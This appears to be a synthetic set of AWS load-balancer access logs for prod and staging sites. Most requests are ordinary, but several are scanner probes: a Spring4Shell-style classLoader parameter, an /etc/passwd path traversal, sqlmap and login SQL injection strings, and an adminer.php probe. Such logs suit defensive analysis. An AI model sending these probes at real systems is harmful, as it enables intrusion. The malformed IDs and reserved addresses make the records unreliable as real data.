TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d616-ffa4159ae38c40bcb672f8a6" "prod-web-alb.example.com" "-" 0 2024-11-01T02:10:14.285018Z "forward" "-" "-" "10.0.72.157:443" "200" "-" "-" +https 2024-11-01T02:10:15.766400Z prod-web-alb 199.100.26.33:36725 10.0.64.104:443 0.035213 0.059022 0.098940 302 302 324 6824 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d617-0d8c94bdc5774c1f8ed6004b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:10:15.766400Z "forward" "-" "-" "10.0.64.104:443" "302" "-" "-" +https 2024-11-01T02:10:15.979337Z prod-api-alb 244.8.245.38:64110 10.0.149.203:443 0.066155 0.446137 0.077176 200 200 230 364 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d617-e375a84bd34348feb9f504ae" "prod-api-alb.example.com" "-" 3 2024-11-01T02:10:15.979337Z "forward" "-" "-" "10.0.149.203:443" "200" "-" "-" +https 2024-11-01T02:10:17.674846Z prod-web-alb 196.192.113.164:50395 10.0.131.216:443 0.039331 0.339913 0.008049 404 404 342 5970 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d619-6ff32e68c7b14ef39bf9e0e7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:10:17.674846Z "forward" "-" "-" "10.0.131.216:443" "404" "-" "-" +https 2024-11-01T02:10:19.341887Z prod-api-alb 169.19.126.52:20775 10.0.23.219:443 0.056397 0.184340 0.020875 301 301 261 12941 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d61b-2a2d7fe7d9224dbaac4c8346" "prod-api-alb.example.com" "-" 2 2024-11-01T02:10:19.341887Z "forward" "-" "-" "10.0.23.219:443" "301" "-" "-" +https 2024-11-01T02:10:19.924832Z prod-web-alb 168.44.165.182:18157 10.0.237.119:443 0.040271 0.160287 0.026581 200 200 475 6153 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d61b-6c4af5cbe18a4fa3b89055c4" "prod-web-alb.example.com" "-" 0 2024-11-01T02:10:19.924832Z "forward" "-" "-" "10.0.237.119:443" "200" "-" "-" +http 2024-11-01T02:10:21.368611Z staging-alb 193.27.228.250:10448 239.33.85.207:80 0.076264 0.736415 0.085842 404 404 258 12106 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d61d-9bc1200661754294b87ba0a8" "-" "-" 8 2024-11-01T02:10:21.368611Z "forward" "-" "-" "239.33.85.207:80" "404" "-" "-" +https 2024-11-01T02:10:22.230477Z staging-alb 41.119.122.112:38096 130.138.41.71:80 0.128131 0.207539 0.000793 301 301 602 12529 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d61e-d36930b55159476b95e514bd" "staging-alb.example.com" "-" 10 2024-11-01T02:10:22.230477Z "forward" "-" "-" "130.138.41.71:80" "301" "-" "-" +https 2024-11-01T02:10:24.024255Z staging-alb 66.167.89.145:35397 91.244.81.121:80 0.014384 0.380774 0.049676 200 200 51 3256 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d620-2852d0b34ee2415199b7f186" "staging-alb.example.com" "-" 3 2024-11-01T02:10:24.024255Z "forward" "-" "-" "91.244.81.121:80" "200" "-" "-" +https 2024-11-01T02:10:24.916014Z prod-api-alb 22.33.130.37:42514 10.0.105.63:443 0.018919 0.478578 0.020822 301 301 881 8003 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d620-2ec1644ec6494ab488973c35" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:24.916014Z "forward" "-" "-" "10.0.105.63:443" "301" "-" "-" +https 2024-11-01T02:10:25.928084Z prod-web-alb 229.31.58.68:55545 10.0.157.46:443 0.054139 0.280364 0.086750 404 404 520 4364 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d621-2c6c79e35364496fa4f16bef" "prod-web-alb.example.com" "-" 4 2024-11-01T02:10:25.928084Z "forward" "-" "-" "10.0.157.46:443" "404" "-" "-" +http 2024-11-01T02:10:27.350629Z staging-alb 105.102.189.73:62194 57.30.173.163:443 0.068483 0.668029 0.041428 200 200 657 6823 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d623-81d5c36e6b274bddaa055ec0" "staging-alb.example.com" "-" 10 2024-11-01T02:10:27.350629Z "forward" "-" "-" "57.30.173.163:443" "200" "-" "-" +https 2024-11-01T02:10:28.454152Z prod-web-alb 118.157.138.224:28813 10.0.161.191:443 0.048681 0.276308 0.066857 200 200 92 5760 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d624-ad4ae24cb596442daa70308b" "-" "-" 5 2024-11-01T02:10:28.454152Z "forward" "-" "-" "10.0.161.191:443" "200" "-" "-" +http 2024-11-01T02:10:28.749167Z staging-alb 241.225.6.73:23213 120.60.90.24:8080 0.031750 0.525586 0.133862 200 200 615 2871 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d624-60ecc26414b0459cb7bbab39" "staging-alb.example.com" "-" 10 2024-11-01T02:10:28.749167Z "forward" "-" "-" "120.60.90.24:8080" "200" "-" "-" +https 2024-11-01T02:10:30.229623Z prod-web-alb 98.244.253.101:21399 10.0.203.199:443 0.041321 0.211518 0.061587 404 404 656 13978 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d626-1f21f6beb0b94b25bfa020cf" "prod-web-alb.example.com" "-" 1 2024-11-01T02:10:30.229623Z "forward" "-" "-" "10.0.203.199:443" "404" "-" "-" +https 2024-11-01T02:10:30.345926Z staging-alb 18.218.216.193:58144 78.138.89.244:8080 0.139948 0.436384 0.128397 404 404 507 8594 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d626-307f6b6e4bd446a48862266d" "staging-alb.example.com" "-" 4 2024-11-01T02:10:30.345926Z "forward" "-" "-" "78.138.89.244:8080" "404" "-" "-" +https 2024-11-01T02:10:31.112663Z prod-api-alb 39.245.178.35:43514 10.0.60.110:443 0.043101 0.334410 0.000196 200 200 639 14831 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d627-474d133c4a1c482d9c9db892" "prod-api-alb.example.com" "-" 1 2024-11-01T02:10:31.112663Z "forward" "-" "-" "10.0.60.110:443" "200" "-" "-" +https 2024-11-01T02:10:32.020507Z prod-api-alb 243.33.23.34:40660 10.0.103.241:443 0.016256 0.375995 0.026705 404 404 222 5059 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d628-d0924a8355f746eb89371414" "prod-api-alb.example.com" "-" 9 2024-11-01T02:10:32.020507Z "forward" "-" "-" "10.0.103.241:443" "404" "-" "-" +https 2024-11-01T02:10:32.699452Z prod-api-alb 188.7.3.139:60402 10.0.140.75:443 0.054021 0.006480 0.035839 200 200 422 11094 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d628-47d1486c3c9c4ba48d738381" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:32.699452Z "forward" "-" "-" "10.0.140.75:443" "200" "-" "-" +https 2024-11-01T02:10:34.011726Z staging-alb 122.230.205.18:39083 96.255.132.80:443 0.045746 0.304846 0.043649 302 302 230 740 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d62a-b32db40373f34bdb98805946" "staging-alb.example.com" "-" 7 2024-11-01T02:10:34.011726Z "forward" "-" "-" "96.255.132.80:443" "302" "-" "-" +https 2024-11-01T02:10:35.456261Z prod-api-alb 121.41.85.22:51447 10.0.63.153:443 0.094923 0.365500 0.045336 200 200 644 1793 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d62b-9e11ca85550149ab9e1447fa" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:35.456261Z "forward" "-" "-" "10.0.63.153:443" "200" "-" "-" +https 2024-11-01T02:10:36.550907Z prod-api-alb 132.164.151.167:51930 10.0.86.152:443 0.086737 0.079727 0.031922 200 200 551 9398 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d62c-edc3cd35851d44fca2625b79" "prod-api-alb.example.com" "-" 5 2024-11-01T02:10:36.550907Z "forward" "-" "-" "10.0.86.152:443" "200" "-" "-" +https 2024-11-01T02:10:37.754306Z prod-api-alb 124.178.185.26:27671 10.0.87.129:443 0.047955 0.402639 0.053952 200 200 623 3534 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d62d-1e995f73ddff4974ad4bc46e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:10:37.754306Z "forward" "-" "-" "10.0.87.129:443" "200" "-" "-" +https 2024-11-01T02:10:38.491753Z prod-api-alb 233.251.197.74:51280 10.0.67.96:443 0.016777 0.380059 0.086860 301 301 601 9683 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d62e-fa3e1e8efc914edc88ba1089" "prod-api-alb.example.com" "-" 7 2024-11-01T02:10:38.491753Z "forward" "-" "-" "10.0.67.96:443" "301" "-" "-" +https 2024-11-01T02:10:40.219287Z prod-api-alb 206.38.159.8:61212 10.0.226.26:443 0.052255 0.097653 0.037375 200 200 632 7248 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d630-ba7084266a0748b5a8b47a48" "prod-api-alb.example.com" "-" 3 2024-11-01T02:10:40.219287Z "forward" "-" "-" "10.0.226.26:443" "200" "-" "-" +https 2024-11-01T02:10:41.636016Z staging-alb 176.251.106.168:24289 119.40.66.154:443 0.142774 0.281254 0.127934 301 301 705 6960 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d631-c719aec3278d430ba867e3e1" "staging-alb.example.com" "-" 6 2024-11-01T02:10:41.636016Z "forward" "-" "-" "119.40.66.154:443" "301" "-" "-" +https 2024-11-01T02:10:42.642279Z prod-web-alb 140.116.10.107:27300 10.0.195.39:443 0.050491 0.116911 0.003513 302 302 917 7734 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d632-839f546ba1b14cc99d4938f0" "prod-web-alb.example.com" "-" 6 2024-11-01T02:10:42.642279Z "forward" "-" "-" "10.0.195.39:443" "302" "-" "-" +http 2024-11-01T02:10:44.087915Z staging-alb 16.130.164.168:17979 184.45.124.86:8080 0.029155 0.273539 0.118609 200 200 428 8563 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d634-a5f1ee25cbed4195ace682f5" "staging-alb.example.com" "-" 9 2024-11-01T02:10:44.087915Z "forward" "-" "-" "184.45.124.86:8080" "200" "-" "-" +https 2024-11-01T02:10:45.222298Z prod-api-alb 193.27.228.235:32098 10.0.247.2:443 0.047136 0.296975 0.051467 403 403 367 12496 "GET /../../../etc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d635-d43d8ec07fc2457d9ae5665b" "-" "-" 6 2024-11-01T02:10:45.222298Z "forward" "-" "-" "10.0.247.2:443" "403" "-" "-" +https 2024-11-01T02:10:45.994332Z prod-web-alb 172.186.106.94:55601 10.0.176.241:443 0.017846 0.305378 0.091586 200 200 184 13588 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d635-019f8f5270294d46b80827b5" "prod-web-alb.example.com" "-" 2 2024-11-01T02:10:45.994332Z "forward" "-" "-" "10.0.176.241:443" "200" "-" "-" +http 2024-11-01T02:10:47.287904Z staging-alb 193.27.228.29:35516 21.58.142.140:8080 0.088799 0.746662 0.014477 500 500 252 10112 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d637-8d8b2da4e28440168f76138a" "-" "-" 4 2024-11-01T02:10:47.287904Z "forward" "-" "-" "21.58.142.140:8080" "500" "-" "-" +https 2024-11-01T02:10:48.720991Z prod-web-alb 202.25.74.170:59310 10.0.54.133:443 0.009912 0.031704 0.025104 200 200 297 3269 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d638-714dace8f3d34057a5e8af9c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:10:48.720991Z "forward" "-" "-" "10.0.54.133:443" "200" "-" "-" +https 2024-11-01T02:10:49.603944Z prod-api-alb 193.27.228.8:34921 10.0.21.75:443 0.041593 0.259875 0.039936 500 500 375 4123 "POST /login?id=1'-- HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d639-c4e7573757384142ba197d6c" "-" "-" 3 2024-11-01T02:10:49.603944Z "forward" "-" "-" "10.0.21.75:443" "500" "-" "-" +https 2024-11-01T02:10:51.166489Z prod-api-alb 45.155.205.170:63731 10.0.210.29:443 0.049685 0.278711 0.093730 403 403 934 13843 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d63b-d6516ae4b65541d89bbfb369" "-" "-" 1 2024-11-01T02:10:51.166489Z "forward" "-" "-" "10.0.210.29:443" "403" "-" "-" +https 2024-11-01T02:10:51.882838Z prod-api-alb 118.84.207.246:26962 10.0.199.5:443 0.069999 0.080318 0.027093 200 200 483 12292 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d63b-144a3039472f4b3ea319af7e" "prod-api-alb.example.com" "-" 8 2024-11-01T02:10:51.882838Z "forward" "-" "-" "10.0.199.5:443" "200" "-" "-" +https 2024-11-01T02:10:53.714364Z prod-web-alb 162.175.252.126:59316 10.0.46.239:443 0.083884 0.355468 0.007543 200 200 297 11241 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d63d-c08b690ec1744c17ab0c6cdc" "prod-web-alb.example.com" "-" 9 2024-11-01T02:10:53.714364Z "forward" "-" "-" "10.0.46.239:443" "200" "-" "-" +https 2024-11-01T02:10:54.349194Z prod-api-alb 146.64.255.250:35795 10.0.26.250:443 0.058167 0.082314 0.095033 200 200 928 2244 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d63e-debe3c5bd6784b5eb6ab2b90" "prod-api-alb.example.com" "-" 0 2024-11-01T02:10:54.349194Z "forward" "-" "-" "10.0.26.250:443" "200" "-" "-" +https 2024-11-01T02:10:56.203262Z prod-web-alb 200.127.254.214:21371 10.0.254.141:443 0.043425 0.272766 0.046561 200 200 26 13626 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d640-27b578680a1d4e0287994e56" "prod-web-alb.example.com" "-" 9 2024-11-01T02:10:56.203262Z "forward" "-" "-" "10.0.254.141:443" "200" "-" "-" +https 2024-11-01T02:10:56.703831Z prod-web-alb 144.167.72.191:36407 10.0.81.49:443 0.095853 0.127199 0.044440 200 200 383 9187 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d640-cc7276d043b04d93af0849dc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:10:56.703831Z "forward" "-" "-" "10.0.81.49:443" "200" "-" "-" +https 2024-11-01T02:10:57.118065Z prod-api-alb 70.51.95.177:11270 10.0.19.152:443 0.079647 0.048255 0.057226 200 200 578 5576 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d641-cedc08f07d7b443fb963c159" "prod-api-alb.example.com" "-" 4 2024-11-01T02:10:57.118065Z "forward" "-" "-" "10.0.19.152:443" "200" "-" "-" +https 2024-11-01T02:10:57.271613Z prod-web-alb 185.181.15.100:57705 10.0.109.191:443 0.082533 0.345362 0.085571 403 403 791 12382 "GET /adminer.php HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d641-edf8afc13b42468e84f1b363" "-" "-" 5 2024-11-01T02:10:57.271613Z "forward" "-" "-" "10.0.109.191:443" "403" "-" "-" +https 2024-11-01T02:10:57.662857Z prod-web-alb 166.26.116.246:25560 10.0.123.128:443 0.088048 0.130111 0.033248 301 301 380 9868 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d641-664b1327b26e4b7388d6cd89" "prod-web-alb.example.com" "-" 6 2024-11-01T02:10:57.662857Z "forward" "-" "-" "10.0.123.128:443" "301" "-" "-" +http 2024-11-01T02:10:59.369743Z staging-alb 247.50.71.163:51872 67.32.159.205:8080 0.009749 0.488279 0.078822 301 301 644 14619 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d643-359a8f4519044cd0a3f7384b" "staging-alb.example.com" "-" 4 2024-11-01T02:10:59.369743Z "forward" "-" "-" "67.32.159.205:8080" "301" "-" "-" +https 2024-11-01T02:11:01.193094Z prod-web-alb 246.250.103.20:23850 10.0.74.80:443 0.057946 0.406711 0.017299 200 200 623 3703 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d645-d78ee7e5d75f4818a2013277" "prod-web-alb.example.com" "-" 5 2024-11-01T02:11:01.193094Z "forward" "-" "-" "10.0.74.80:443" "200" "-" "-" +https 2024-11-01T02:11:02.792535Z staging-alb 13.203.158.6:47457 56.90.237.155:8080 0.072871 0.638510 0.105551 200 200 918 6290 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d646-72419fc7724545b8b754f96e" "staging-alb.example.com" "-" 6 2024-11-01T02:11:02.792535Z "forward" "-" "-" "56.90.237.155:8080" "200" "-" "-" +https 2024-11-01T02:11:04.158279Z prod-api-alb 140.2.156.19:41888 10.0.34.77:443 0.039882 0.243845 0.039623 200 200 228 1015 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d648-17ca43a6687c4c8eae4faf12" "prod-api-alb.example.com" "-" 7 2024-11-01T02:11:04.158279Z "forward" "-" "-" "10.0.34.77:443" "200" "-" "-" +http 2024-11-01T02:11:05.408989Z staging-alb 234.163.77.191:36839 30.90.17.206:8080 0.075193 0.542088 0.129889 404 404 121 1465 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d649-efed833b28c94dc09f06ff38" "staging-alb.example.com" "-" 7 2024-11-01T02:11:05.408989Z "forward" "-" "-" "30.90.17.206:8080" "404" "-" "-" +https 2024-11-01T02:11:06.140860Z prod-api-alb 23.251.238.96:27842 10.0.115.40:443 0.044751 0.400335 0.058244 404 404 681 6095 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d64a-cd229f500a3f4123aacab774" "prod-api-alb.example.com" "-" 3 2024-11-01T02:11:06.140860Z "forward" "-" "-" "10.0.115.40:443" "404" "-" "-" +https 